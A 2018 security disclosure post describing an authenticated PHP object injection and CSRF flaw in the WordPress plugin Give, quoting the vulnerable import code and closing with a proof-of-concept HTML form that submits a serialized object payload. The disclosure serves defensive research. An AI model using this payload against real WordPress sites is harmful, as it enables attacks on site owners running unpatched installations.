25 Oct 2018

Full Disclosure of Authenticated PHP Object Injection Vulnerability in WordPress Plugin With 50,000+ Active Installs

One of the things we have found while looking at the results of our automated tool for identifying possible security issues in WordPress plugins, the Plugin Security Checker, is that minor possible vulnerabilities that it can identify can be good indications that there are broader issues with security in a plugin. That is the case with the plugin Give, which has 50,000+ active installations according to wordpress.org.

While looking over the 1,000 most popular WordPress plugins using some checks from the Plugin Security Checker we were alerted to a possible issue with this plugin. Unrelated usage of serialization in the code we were looking at then lead us to take a look if there might be any PHP object injection vulnerabilities in the plugin, which unlike the issue originally identified are fairly likely to be exploited. That quickly led to us identifying one that can be exploited by anyone logged in to WordPress or through cross-site request forgery (CSRF).

The vulnerability exists in the function give_donation_import_callback(), which is accessible through WordPress’ AJAX functionality by anyone logged in to WordPress (in the file /includes/admin/admin-actions.php):

660
add_action( 'wp_ajax_give_donation_import', 'give_donation_import_callback' );

That function sets the value of the POST input “fields” to the variable $output and then passes it through maybe_unserialize(), which permits PHP object injection to occur:

542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
function give_donation_import_callback() {
 
	// Disable Give cache
	Give_Cache::get_instance()->disable();
 
	$import_setting = array();
	$fields         = isset( $_POST['fields'] ) ? $_POST['fields'] : null;
 
	parse_str( $fields, $output );
 
	$import_setting['create_user'] = $output['create_user'];
	$import_setting['mode']        = $output['mode'];
	$import_setting['delimiter']   = $output['delimiter'];
	$import_setting['csv']         = $output['csv'];
	$import_setting['delete_csv']  = $output['delete_csv'];
	$import_setting['dry_run']     = $output['dry_run'];
 
	// Parent key id.
	$main_key = maybe_unserialize( $output['main_key'] );

There is no check for a nonce to prevent CSRF before that occurs or it appears at all in that function, which might allow for other security issues. The plugin looks like it might be very insecure, which is exactly why the Plugin Security Checker’s limited checking can be so useful in identifying plugins that could use a more thorough review.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?&action=give_donation_import" method="POST" >
<input type="hidden" name="fields" value='main_key=O:20:%22php_object_injection%22:0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.